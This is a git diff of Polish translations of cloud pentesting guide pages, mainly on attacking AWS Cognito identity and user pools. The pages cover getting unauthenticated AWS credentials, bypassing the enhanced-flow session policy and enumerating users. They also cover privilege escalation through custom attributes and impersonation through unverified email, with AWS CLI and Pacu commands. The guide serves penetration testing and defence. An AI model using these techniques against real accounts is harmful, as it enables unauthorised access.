-- [Pacu](https://github.com/RhinoSecurityLabs/pacu), framework do eksploatacji AWS, teraz zawiera moduły "cognito\_\_enum" i "cognito\_\_attack", które automatyzują enumerację wszystkich zasobów Cognito w koncie i oznaczają słabe konfiguracje, atrybuty użytkowników używane do kontroli dostępu itp., a także automatyzują tworzenie użytkowników (w tym wsparcie MFA) oraz eskalację uprawnień na podstawie modyfikowalnych atrybutów niestandardowych, używalnych poświadczeń z puli tożsamości, ról, które można przyjąć w tokenach id itp.
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), framework do eksploatacji AWS, teraz zawiera moduły "cognito\_\_enum" i "cognito\_\_attack", które automatyzują enumerację wszystkich zasobów Cognito w koncie i oznaczają słabe konfiguracje, atrybuty użytkowników używane do kontroli dostępu itp., a także automatyzują tworzenie użytkowników (w tym wsparcie MFA) i eskalację uprawnień na podstawie modyfikowalnych atrybutów niestandardowych, używalnych poświadczeń puli tożsamości, ról, które można przyjąć w tokenach id itp.
 
-Aby uzyskać opis funkcji modułów, zobacz część 2 [postu na blogu](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Aby uzyskać instrukcje instalacji, zobacz główną stronę [Pacu](https://github.com/RhinoSecurityLabs/pacu).
+Aby uzyskać opis funkcji modułów, zobacz część 2 [blog posta](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Aby uzyskać instrukcje instalacji, zobacz główną stronę [Pacu](https://github.com/RhinoSecurityLabs/pacu).
 
 #### Usage
 
-Przykład użycia cognito\_\_attack do próby tworzenia użytkowników i wszystkich wektorów privesc przeciwko danej puli tożsamości i klientowi puli użytkowników:
+Przykład użycia cognito\_\_attack do próby tworzenia użytkowników i wszystkich wektorów privesc przeciwko danej puli tożsamości i kliencie puli użytkowników:
 ```bash
 Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
 us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
 ```
-Przykład użycia cognito\_\_enum do zebrania wszystkich pul użytkowników, klientów pul użytkowników, pul tożsamości, użytkowników itp. widocznych w bieżącym koncie AWS:
+Przykładowe użycie cognito\_\_enum do zbierania wszystkich pul użytkowników, klientów pul użytkowników, pul tożsamości, użytkowników itp. widocznych w bieżącym koncie AWS:
 ```bash
 Pacu (new:test) > run cognito__enum
 ```
@@ -69,18 +69,18 @@ $ pip install cognito-scanner
 ```bash
 $ cognito-scanner --help
 ```
-For more information check https://github.com/padok-team/cognito-scanner
+Dla uzyskania dodatkowych informacji sprawdź https://github.com/padok-team/cognito-scanner
 
-## Accessing IAM Roles
+## Uzyskiwanie dostępu do ról IAM
 
-### Unauthenticated
+### Nieautoryzowany
 
-Jedyną rzeczą, którą atakujący musi wiedzieć, aby **uzyskać AWS credentials** w aplikacji Cognito jako użytkownik nieautoryzowany, jest **Identity Pool ID**, a ten **ID musi być wbudowany** w **aplikację** webową/mobilną, aby mogła go używać. ID wygląda tak: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (nie można go złamać siłą bruteforce).
+Jedyną rzeczą, którą atakujący musi wiedzieć, aby **uzyskać dane uwierzytelniające AWS** w aplikacji Cognito jako nieautoryzowany użytkownik, jest **ID puli tożsamości**, a to **ID musi być zakodowane na stałe** w **aplikacji** webowej/mobilnej, aby mogła z niego korzystać. ID wygląda tak: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (nie można go złamać metodą brute force).
 
 > [!TIP]
-> **IAM Cognito unathenticated role utworzona przez** domyślnie nazywa się `Cognito_<Nazwa Identity Pool>Unauth_Role`
+> **Nieautoryzowana rola IAM Cognito utworzona przez** domyślnie nazywa się `Cognito_<Nazwa puli tożsamości>Unauth_Role`
 
-Jeśli znajdziesz wbudowane Identity Pools ID, które pozwala na dostęp dla użytkowników nieautoryzowanych, możesz uzyskać AWS credentials za pomocą:
+Jeśli znajdziesz ID puli tożsamości zakodowane na stałe i pozwala na dostęp nieautoryzowanym użytkownikom, możesz uzyskać dane uwierzytelniające AWS za pomocą:
 ```python
 import requests
 
@@ -112,11 +112,11 @@ aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
 aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign
 ```
 > [!WARNING]
-> Zauważ, że domyślnie nieautoryzowany użytkownik cognito **NIE MOŻE mieć żadnych uprawnień, nawet jeśli zostały one przypisane za pomocą polityki**. Sprawdź następną sekcję.
+> Zauważ, że domyślnie nieautoryzowany użytkownik cognito **NIE MOŻE mieć żadnych uprawnień, nawet jeśli zostały przypisane za pomocą polityki**. Sprawdź następującą sekcję.
 
 ### Ulepszony vs Podstawowy przepływ uwierzytelniania
 
-Poprzednia sekcja dotyczyła **domyślnego ulepszonego przepływu uwierzytelniania**. Ten przepływ ustawia **ograniczającą** [**politykę sesji**](../../aws-basic-information/#session-policies) dla wygenerowanej sesji roli IAM. Ta polityka pozwoli tylko na [**korzystanie z usług z tej listy**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (nawet jeśli rola miała dostęp do innych usług).
+Poprzednia sekcja dotyczyła **domyślnego ulepszonego przepływu uwierzytelniania**. Ten przepływ ustawia **ograniczającą** [**politykę sesji**](../../aws-basic-information/#session-policies) dla sesji roli IAM. Ta polityka pozwoli tylko na [**korzystanie z usług z tej listy**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (nawet jeśli rola miała dostęp do innych usług).
 
 Jednak istnieje sposób, aby to obejść, jeśli **pula tożsamości ma włączony "Podstawowy (Klasyczny) Przepływ"**, użytkownik będzie mógł uzyskać sesję korzystając z tego przepływu, który **nie będzie miał tej ograniczającej polityki sesji**.
 ```bash
@@ -133,7 +133,7 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<ro
 > [!WARNING]
 > Jeśli otrzymasz ten **błąd**, to dlatego, że **podstawowy przepływ nie jest włączony (domyślnie)**
 
-> `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.`
+> `Wystąpił błąd (InvalidParameterException) podczas wywoływania operacji GetOpenIdToken: Podstawowy (klasyczny) przepływ nie jest włączony, proszę użyć ulepszonego przepływu.`
 
 Mając zestaw poświadczeń IAM, powinieneś sprawdzić [jakie masz uprawnienia](../../#whoami) i spróbować [podnieść uprawnienia](../../aws-privilege-escalation/).
 
@@ -142,14 +142,14 @@ Mając zestaw poświadczeń IAM, powinieneś sprawdzić [jakie masz uprawnienia]
 > [!NOTE]
 > Pamiętaj, że **uwierzytelnieni użytkownicy** mogą mieć **inne uprawnienia**, więc jeśli możesz **zarejestrować się w aplikacji**, spróbuj to zrobić i uzyskaj nowe poświadczenia.
 
-Mogą być również dostępne **role** dla **uwierzytelnionych użytkowników uzyskujących dostęp do puli tożsamości**.
+Mogą być również dostępne **role** dla **uwierzytelnionych użytkowników uzyskujących dostęp do Identity Pool**.
 
-W tym celu możesz potrzebować dostępu do **dostawcy tożsamości**. Jeśli jest to **Cognito User Pool**, być może możesz wykorzystać domyślne zachowanie i **samodzielnie utworzyć nowego użytkownika**.
+W tym celu możesz potrzebować dostępu do **dostawcy tożsamości**. Jeśli to jest **Cognito User Pool**, być może możesz wykorzystać domyślne zachowanie i **samodzielnie utworzyć nowego użytkownika**.
 
 > [!TIP]
-> **IAM Cognito uwierzytelniona rola utworzona przez** domyślnie nazywa się `Cognito_<Nazwa Puli Tożsamości>Auth_Role`
+> **IAM Cognito uwierzytelniona rola utworzona przez** domyślnie nazywa się `Cognito_<Nazwa Identity Pool>Auth_Role`
 
-W każdym razie, **następny przykład** zakłada, że już zalogowałeś się w **Cognito User Pool** używanym do uzyskania dostępu do puli tożsamości (nie zapomnij, że inne typy dostawców tożsamości mogą być również skonfigurowane).
+W każdym razie, **następny przykład** zakłada, że już zalogowałeś się w **Cognito User Pool** używanym do uzyskania dostępu do Identity Pool (nie zapomnij, że inne typy dostawców tożsamości mogą być również skonfigurowane).
 
 <pre class="language-bash"><code class="lang-bash">aws cognito-identity get-id \
 --identity-pool-id &#x3C;identity_pool_id> \
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md
index 6b4d7cba2..f57c27942 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md
@@ -4,13 +4,13 @@
 
 ## Podstawowe informacje
 
-User pool to katalog użytkowników w Amazon Cognito. Dzięki user pool, Twoi użytkownicy mogą **zalogować się do swojej aplikacji internetowej lub mobilnej** za pośrednictwem Amazon Cognito, **lub federować** przez **dostawcę tożsamości** (IdP) zewnętrznego. Niezależnie od tego, czy Twoi użytkownicy logują się bezpośrednio, czy przez stronę trzecią, wszyscy członkowie user pool mają profil katalogu, do którego możesz uzyskać dostęp za pośrednictwem SDK.
+User pool to katalog użytkowników w Amazon Cognito. Dzięki user pool, Twoi użytkownicy mogą **zalogować się do Twojej aplikacji internetowej lub mobilnej** za pośrednictwem Amazon Cognito, **lub federować** przez **dostawcę tożsamości** (IdP) zewnętrznego. Niezależnie od tego, czy Twoi użytkownicy logują się bezpośrednio, czy przez stronę trzecią, wszyscy członkowie user pool mają profil katalogu, do którego możesz uzyskać dostęp za pośrednictwem SDK.
 
 User pools oferują:
 
 - Usługi rejestracji i logowania.
-- Wbudowany, dostosowywalny interfejs webowy do logowania użytkowników.
-- Logowanie społecznościowe za pomocą Facebooka, Google, Logowanie z Amazon oraz Logowanie z Apple, a także przez dostawców tożsamości SAML i OIDC z Twojego user pool.
+- Wbudowany, dostosowywalny interfejs użytkownika do logowania użytkowników.
+- Logowanie społecznościowe za pomocą Facebooka, Google, Logowanie z Amazon i Logowanie z Apple, oraz przez dostawców tożsamości SAML i OIDC z Twojego user pool.
 - Zarządzanie katalogiem użytkowników i profilami użytkowników.
 - Funkcje bezpieczeństwa, takie jak uwierzytelnianie wieloskładnikowe (MFA), kontrole dla skompromitowanych poświadczeń, ochrona przed przejęciem konta oraz weryfikacja telefonu i e-maila.
 - Dostosowane przepływy pracy i migracja użytkowników za pomocą wyzwalaczy AWS Lambda.
@@ -19,13 +19,13 @@ User pools oferują:
 
 ### Potencjalne ataki
 
-- **Rejestracja**: Domyślnie użytkownik może zarejestrować się samodzielnie, więc mógłby stworzyć konto dla siebie.
-- **Enumeracja użytkowników**: Funkcjonalność rejestracji może być używana do znajdowania nazw użytkowników, które już istnieją. Ta informacja może być przydatna do ataku brute-force.
+- **Rejestracja**: Domyślnie użytkownik może zarejestrować się samodzielnie, więc może stworzyć konto dla siebie.
+- **Enumeracja użytkowników**: Funkcjonalność rejestracji może być użyta do znalezienia nazw użytkowników, które już istnieją. Ta informacja może być przydatna do ataku brute-force.
 - **Brute-force logowania**: W sekcji [**Uwierzytelnianie**](cognito-user-pools.md#authentication) masz wszystkie **metody**, które użytkownik ma do **logowania**, możesz spróbować przeprowadzić atak brute-force, aby **znaleźć ważne poświadczenia**.
 
 ### Narzędzia do pentestingu
 
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu), teraz zawiera moduły `cognito__enum` i `cognito__attack`, które automatyzują enumerację wszystkich zasobów Cognito w koncie i oznaczają słabe konfiguracje, atrybuty użytkowników używane do kontroli dostępu itp., a także automatyzują tworzenie użytkowników (w tym wsparcie dla MFA) oraz eskalację uprawnień na podstawie modyfikowalnych atrybutów niestandardowych, używalnych poświadczeń z identity pool, ról, które można przyjąć w tokenach id itp.\
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), teraz zawiera moduły `cognito__enum` i `cognito__attack`, które automatyzują enumerację wszystkich zasobów Cognito w koncie i oznaczają słabe konfiguracje, atrybuty użytkowników używane do kontroli dostępu itp., a także automatyzują tworzenie użytkowników (w tym wsparcie dla MFA) oraz eskalację uprawnień na podstawie modyfikowalnych atrybutów niestandardowych, używalnych poświadczeń z puli tożsamości, ról, które można przyjąć w tokenach id itp.\
 Aby uzyskać opis funkcji modułów, zobacz część 2 [postu na blogu](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Aby uzyskać instrukcje instalacji, zobacz główną stronę [Pacu](https://github.com/RhinoSecurityLabs/pacu).
 ```bash
 # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account
@@ -36,7 +36,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma
 us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
 ```
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) to narzędzie CLI w pythonie, które implementuje różne ataki na Cognito, w tym niechciane tworzenie kont i oracle kont. Sprawdź [ten link](https://github.com/padok-team/cognito-scanner) po więcej informacji.
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) to narzędzie CLI w pythonie, które implementuje różne ataki na Cognito, w tym niechciane tworzenie kont i oracle konta. Sprawdź [this link](https://github.com/padok-team/cognito-scanner) po więcej informacji.
 ```bash
 # Install
 pip install cognito-scanner
@@ -49,7 +49,7 @@ python cognito-attribute-enu.py -client_id 16f1g98bfuj9i0g3f8be36kkrl
 ```
 ## Rejestracja
 
-User Pools pozwala **domyślnie** na **rejestrowanie nowych użytkowników**.
+User Pools pozwala domyślnie na **rejestrowanie nowych użytkowników**.
 ```bash
 aws cognito-idp sign-up --client-id <client-id> \
 --username <username> --password <password> \
@@ -70,7 +70,7 @@ Możesz również użyć tej funkcjonalności do **enumeracji istniejących uży
 An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists
 ```
 > [!NOTE]
-> Zauważ w poprzedniej komendzie, jak **niestandardowe atrybuty zaczynają się od "custom:"**.\
+> Zauważ w poprzednim poleceniu, jak **niestandardowe atrybuty zaczynają się od "custom:"**.\
 > Również wiedz, że podczas rejestracji **nie możesz tworzyć nowych niestandardowych atrybutów dla użytkownika**. Możesz tylko przypisać wartość do **domyślnych atrybutów** (nawet jeśli nie są wymagane) oraz **określonych niestandardowych atrybutów**.
 
 Lub po prostu, aby sprawdzić, czy identyfikator klienta istnieje. Oto błąd, jeśli identyfikator klienta nie istnieje:
@@ -79,13 +79,13 @@ An error occurred (ResourceNotFoundException) when calling the SignUp operation:
 ```
 #### Jeśli tylko administrator może rejestrować użytkowników
 
-Znajdziesz ten błąd i nie będziesz mógł rejestrować ani enumerować użytkowników:
+Znajdziesz ten błąd i nie będziesz w stanie zarejestrować ani wyenumerować użytkowników:
 ```
 An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool
 ```
 ### Weryfikacja rejestracji
 
-Cognito pozwala na **weryfikację nowego użytkownika poprzez weryfikację jego adresu e-mail lub numeru telefonu**. Dlatego podczas tworzenia użytkownika zazwyczaj będziesz musiał podać przynajmniej nazwę użytkownika i hasło oraz **adres e-mail i/lub numer telefonu**. Po prostu ustaw jeden **który kontrolujesz**, aby otrzymać kod do **weryfikacji** nowo utworzonego użytkownika **konta** w ten sposób:
+Cognito pozwala na **weryfikację nowego użytkownika poprzez potwierdzenie jego adresu e-mail lub numeru telefonu**. Dlatego podczas tworzenia użytkownika zazwyczaj będziesz musiał podać przynajmniej nazwę użytkownika i hasło oraz **adres e-mail i/lub numer telefonu**. Po prostu ustaw jeden **który kontrolujesz**, aby otrzymać kod do **weryfikacji swojego** nowo utworzonego **konta** użytkownika w ten sposób:
 ```bash
 aws cognito-idp confirm-sign-up --client-id <cliet_id> \
 --username aasdasd2 --confirmation-code <conf_code> \
@@ -96,7 +96,7 @@ aws cognito-idp confirm-sign-up --client-id <cliet_id> \
 
 ### Eskalacja uprawnień / Aktualizacja atrybutów
 
-Domyślnie użytkownik może **zmieniać wartość swoich atrybutów** za pomocą czegoś takiego:
+Domyślnie użytkownik może **zmienić wartość swoich atrybutów** za pomocą czegoś takiego:
 ```bash
 aws cognito-idp update-user-attributes \
 --region us-east-1 --no-sign-request \
@@ -106,17 +106,17 @@ aws cognito-idp update-user-attributes \
 #### Privesc atrybutów niestandardowych
 
 > [!CAUTION]
-> Możesz znaleźć **atrybuty niestandardowe** (takie jak `isAdmin`), ponieważ domyślnie możesz **zmieniać wartości swoich własnych atrybutów**, co może pozwolić ci na **eskalację uprawnień** poprzez zmianę wartości samodzielnie!
+> Możesz znaleźć **atrybuty niestandardowe** używane (takie jak `isAdmin`), ponieważ domyślnie możesz **zmieniać wartości swoich własnych atrybutów**, możesz być w stanie **eskalować uprawnienia**, zmieniając wartość samodzielnie!
 
 #### Privesc modyfikacji e-maila/nazwy użytkownika
 
 Możesz użyć tego do **modyfikacji e-maila i numeru telefonu** użytkownika, ale wtedy, nawet jeśli konto pozostaje zweryfikowane, te atrybuty są **ustawione w statusie nieweryfikowanym** (musisz je zweryfikować ponownie).
 
 > [!WARNING]
-> **Nie będziesz mógł zalogować się za pomocą e-maila lub numeru telefonu** dopóki ich nie zweryfikujesz, ale będziesz **mógł zalogować się za pomocą nazwy użytkownika**.\
-> Zauważ, że nawet jeśli e-mail został zmodyfikowany i niezweryfikowany, pojawi się w tokenie ID w **polu** **`email`** a pole **`email_verified`** będzie **fałszywe**, ale jeśli aplikacja **nie sprawdza tego, możesz podszyć się pod innych użytkowników**.
+> **Nie będziesz mógł zalogować się za pomocą e-maila lub numeru telefonu**, dopóki ich nie zweryfikujesz, ale będziesz **mógł zalogować się za pomocą nazwy użytkownika**.\
+> Zauważ, że nawet jeśli e-mail został zmodyfikowany i niezweryfikowany, pojawi się w tokenie ID w **polu** **`email`**, a pole **`email_verified`** będzie **fałszywe**, ale jeśli aplikacja **nie sprawdza tego, możesz podszyć się pod innych użytkowników**.
 
-> Ponadto, zauważ, że możesz wpisać cokolwiek w **polu** **`name`** po prostu modyfikując **atrybut nazwy**. Jeśli aplikacja **sprawdza** **to** pole z jakiegoś powodu **zamiast `email`** (lub jakiegokolwiek innego atrybutu), możesz być w stanie **podszyć się pod innych użytkowników**.
+> Ponadto, zauważ, że możesz wprowadzić cokolwiek w **polu** **`name`**, po prostu modyfikując **atrybut nazwy**. Jeśli aplikacja **sprawdza** **to** pole z jakiegoś powodu **zamiast `email`** (lub jakiegokolwiek innego atrybutu), możesz być w stanie **podszyć się pod innych użytkowników**.
 
 W każdym razie, jeśli z jakiegoś powodu zmieniłeś swój e-mail na nowy, do którego masz dostęp, możesz **potwierdzić e-mail za pomocą kodu, który otrzymałeś na ten adres e-mail**:
 ```bash
@@ -125,14 +125,14 @@ aws cognito-idp verify-user-attribute \
 --attribute-name email --code <code> \
 --region <region> --no-sign-request
 ```
-Użyj **`phone_number`** zamiast **`email`** do zmiany/weryfikacji **nowego numeru telefonu**.
+Użyj **`phone_number`** zamiast **`email`**, aby zmienić/weryfikować **nowy numer telefonu**.
 
 > [!NOTE]
-> Administrator może również włączyć opcję **logowania za pomocą preferowanej nazwy użytkownika**. Należy pamiętać, że nie będziesz mógł zmienić tej wartości na **dowolną nazwę użytkownika lub preferred_username, która już jest używana** do podszywania się pod innego użytkownika.
+> Administrator może również włączyć opcję **logowania za pomocą preferowanej nazwy użytkownika**. Należy pamiętać, że nie będziesz mógł zmienić tej wartości na **dowolną nazwę użytkownika lub preferred_username, która jest już używana** do podszywania się pod innego użytkownika.
 
 ### Przywracanie/Zmiana Hasła
 
-Możliwe jest odzyskanie hasła, znając **nazwę użytkownika** (lub akceptowany jest email lub telefon), a dostęp do niego będzie możliwy, ponieważ kod zostanie tam wysłany:
+Możliwe jest odzyskanie hasła, znając **nazwę użytkownika** (lub email lub telefon jest akceptowany), a dostęp do niego będzie możliwy, ponieważ kod zostanie tam wysłany:
 ```bash
 aws cognito-idp forgot-password \
 --client-id <client_id> \
@@ -253,7 +253,7 @@ Aby **zalogować się**, musisz znać:
 - identyfikator klienta
 - nazwę użytkownika
 - hasło
-- sekret klienta (tylko jeśli aplikacja jest skonfigurowana do używania sekretu)
+- tajny klucz klienta (tylko jeśli aplikacja jest skonfigurowana do używania tajnego klucza)
 
 > [!NOTE]
 > Aby **móc się zalogować tą metodą**, ta aplikacja musi zezwalać na logowanie z ALLOW_USER_PASSWORD_AUTH.
@@ -319,7 +319,7 @@ Aby **zalogować się**, musisz znać:
 - identyfikator klienta
 - nazwę użytkownika
 - hasło
-- tajny klucz klienta (tylko jeśli aplikacja jest skonfigurowana do używania tajnego klucza)
+- sekret klienta (tylko jeśli aplikacja jest skonfigurowana do używania sekretu)
 
 <details>
 
@@ -397,28 +397,28 @@ W tym przypadku **uwierzytelnianie** będzie przeprowadzane poprzez **wykonanie
 
 Domyślnie jest wyłączone, ale jeśli jest włączone, Cognito może być w stanie **znaleźć przejęcia konta**. Aby zminimalizować prawdopodobieństwo, powinieneś logować się z **sieci w tym samym mieście, używając tego samego agenta użytkownika** (i IP, jeśli to możliwe)**.**
 
-### **MFA Zapamiętaj urządzenie**
+### **MFA Pamiętaj urządzenie**
 
 Jeśli użytkownik loguje się z tego samego urządzenia, MFA może być ominięte, dlatego spróbuj zalogować się z tej samej przeglądarki z tymi samymi metadanymi (IP?), aby spróbować obejść ochronę MFA.
 
 ## Role IAM grup użytkowników
 
 Możliwe jest dodanie **użytkowników do grupy User Pool**, które są związane z jedną **rolą IAM**.\
-Ponadto, **użytkownicy** mogą być przypisani do **więcej niż jednej grupy z różnymi rolami IAM**.
+Ponadto, **użytkownicy** mogą być przypisani do **więcej niż 1 grupy z różnymi rolami IAM**.
 
-Zauważ, że nawet jeśli grupa znajduje się w grupie z przypisaną rolą IAM, aby uzyskać dostęp do poświadczeń IAM tej grupy, konieczne jest, aby **User Pool był zaufany przez Identity Pool** (i znał szczegóły tego Identity Pool).
+Zauważ, że nawet jeśli grupa znajduje się w grupie z przypisaną rolą IAM, aby móc uzyskać dostęp do poświadczeń IAM tej grupy, konieczne jest, aby **User Pool był zaufany przez Identity Pool** (i znał szczegóły tego Identity Pool).
 
-Innym wymogiem, aby uzyskać **rolę IAM wskazaną w IdToken**, gdy użytkownik jest uwierzytelniony w User Pool (`aws cognito-idp initiate-auth...`), jest to, że **dostawca uwierzytelniania Identity Provider** musi wskazać, że **rola musi być wybierana z tokena.**
+Innym wymogiem, aby uzyskać **rolę IAM wskazaną w IdToken**, gdy użytkownik jest uwierzytelniony w User Pool (`aws cognito-idp initiate-auth...`), jest to, że **dostawca uwierzytelniania Identity Provider** musi wskazać, że **rola musi być wybrana z tokena.**
 
 <figure><img src="../../../../images/image (250).png" alt=""><figcaption></figcaption></figure>
 
 **Role**, do których użytkownik ma dostęp, są **w `IdToken`**, a użytkownik może **wybrać, dla której roli chciałby uzyskać poświadczenia** za pomocą **`--custom-role-arn`** z `aws cognito-identity get-credentials-for-identity`.\
-Jednakże, jeśli **domyślna opcja** jest tą **skonfigurowaną** (`use default role`), a ty próbujesz uzyskać dostęp do roli z IdToken, otrzymasz **błąd** (dlatego potrzebna jest wcześniejsza konfiguracja):
+Jednak jeśli **domyślna opcja** jest tą **skonfigurowaną** (`use default role`), a ty próbujesz uzyskać dostęp do roli z IdToken, otrzymasz **błąd** (dlatego potrzebna jest wcześniejsza konfiguracja):
 ```
 An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN.
 ```
 > [!WARNING]
-> Zauważ, że rola przypisana do **User Pool Group** musi być **dostępna dla Dostawcy Tożsamości**, który **ufa User Pool** (ponieważ **poświadczenia sesji roli IAM będą uzyskiwane z niego**).
+> Zauważ, że rola przypisana do **User Pool Group** musi być **dostępna dla Identity Provider**, który **ufa User Pool** (ponieważ **poświadczenia sesji roli IAM będą uzyskiwane z niej**).
 ```json
 {
 "Version": "2012-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
index 3027bc24f..5504e6974 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
@@ -25,7 +25,7 @@ aws datapipeline get-pipeline-definition --pipeline-id <ID>
 ```
 ### Privesc
 
-Na następnej stronie możesz sprawdzić, jak **nadużyć uprawnień datapipeline, aby eskalować przywileje**:
+Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień datapipeline, aby eskalować uprawnienia**:
 
 {{#ref}}
 ../aws-privilege-escalation/aws-datapipeline-privesc.md
@@ -33,7 +33,7 @@ Na następnej stronie możesz sprawdzić, jak **nadużyć uprawnień datapipelin
 
 ## CodePipeline
 
-AWS CodePipeline to w pełni zarządzana **usługa ciągłego dostarczania**, która pomaga w **automatyzacji twoich procesów wydania** dla szybkich i niezawodnych aktualizacji aplikacji i infrastruktury. CodePipeline automatyzuje **etapy budowy, testowania i wdrażania** twojego procesu wydania za każdym razem, gdy następuje zmiana w kodzie, w oparciu o model wydania, który definiujesz.
+AWS CodePipeline to w pełni zarządzana **usługa ciągłego dostarczania**, która pomaga w **automatyzacji twoich procesów wydania** w celu szybkich i niezawodnych aktualizacji aplikacji i infrastruktury. CodePipeline automatyzuje **etapy budowy, testowania i wdrażania** twojego procesu wydania za każdym razem, gdy następuje zmiana w kodzie, w oparciu o model wydania, który definiujesz.
 
 ### Enumeration
 ```bash
@@ -46,7 +46,7 @@ aws codepipeline get-pipeline-state --name <pipeline_name>
 ```
 ### Privesc
 
-Na następnej stronie możesz sprawdzić, jak **nadużyć uprawnień codepipeline, aby eskalować uprawnienia**:
+Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień codepipeline, aby eskalować uprawnienia**:
 
 {{#ref}}
 ../aws-privilege-escalation/aws-codepipeline-privesc.md
@@ -56,7 +56,7 @@ Na następnej stronie możesz sprawdzić, jak **nadużyć uprawnień codepipelin
 
 Jest to **usługa kontroli wersji**, która jest hostowana i w pełni zarządzana przez Amazon, która może być używana do prywatnego przechowywania danych (dokumentów, plików binarnych, kodu źródłowego) i zarządzania nimi w chmurze.
 
-**Eliminuje** to wymóg, aby użytkownik znał Git i **zarządzał własnym systemem kontroli wersji** lub martwił się o skalowanie swojej infrastruktury w górę lub w dół. Codecommit obsługuje wszystkie standardowe **funkcjonalności, które można znaleźć w Gicie**, co oznacza, że działa bezproblemowo z obecnymi narzędziami opartymi na Gicie użytkownika.
+**Eliminuje** to konieczność, aby użytkownik znał Git i **zarządzał własnym systemem kontroli wersji** lub martwił się o skalowanie swojej infrastruktury w górę lub w dół. Codecommit obsługuje wszystkie standardowe **funkcjonalności, które można znaleźć w Gicie**, co oznacza, że działa bezproblemowo z obecnymi narzędziami opartymi na Gicie użytkownika.
 
 ### Enumeration
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md
index 8a43ef7c8..830c3d78b 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md
@@ -1,28 +1,28 @@
-# AWS - Directory Services / WorkDocs Enum
+# AWS - Usługi katalogowe / Enum WorkDocs
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Directory Services
+## Usługi katalogowe
 
-AWS Directory Service for Microsoft Active Directory to zarządzana usługa, która ułatwia **konfigurowanie, obsługę i skalowanie katalogu** w chmurze AWS. Jest zbudowana na rzeczywistym **Microsoft Active Directory** i ściśle integruje się z innymi usługami AWS, co ułatwia zarządzanie obciążeniami i zasobami AWS, które są świadome katalogu. Dzięki AWS Managed Microsoft AD możesz **używać istniejących** użytkowników, grup i polityk Active Directory do zarządzania dostępem do swoich zasobów AWS. Może to pomóc uprościć zarządzanie tożsamością i zmniejszyć potrzebę dodatkowych rozwiązań tożsamości. AWS Managed Microsoft AD zapewnia również automatyczne kopie zapasowe i możliwości odzyskiwania po awarii, co pomaga zapewnić dostępność i trwałość Twojego katalogu. Ogólnie rzecz biorąc, AWS Directory Service for Microsoft Active Directory może pomóc zaoszczędzić czas i zasoby, oferując zarządzaną, wysoko dostępną i skalowalną usługę Active Directory w chmurze AWS.
+AWS Directory Service for Microsoft Active Directory to zarządzana usługa, która ułatwia **konfigurowanie, obsługę i skalowanie katalogu** w chmurze AWS. Jest oparta na rzeczywistym **Microsoft Active Directory** i ściśle integruje się z innymi usługami AWS, co ułatwia zarządzanie obciążeniami i zasobami AWS świadomymi katalogu. Dzięki AWS Managed Microsoft AD możesz **używać istniejących** użytkowników, grup i polityk Active Directory do zarządzania dostępem do zasobów AWS. Może to pomóc uprościć zarządzanie tożsamością i zmniejszyć potrzebę dodatkowych rozwiązań tożsamości. AWS Managed Microsoft AD zapewnia również automatyczne kopie zapasowe i możliwości odzyskiwania po awarii, co pomaga zapewnić dostępność i trwałość Twojego katalogu. Ogólnie rzecz biorąc, AWS Directory Service for Microsoft Active Directory może pomóc zaoszczędzić czas i zasoby, oferując zarządzaną, wysoko dostępną i skalowalną usługę Active Directory w chmurze AWS.
 
-### Options
+### Opcje
 
-Directory Services pozwala na tworzenie 5 typów katalogów:
+Usługi katalogowe pozwalają na tworzenie 5 typów katalogów:
 
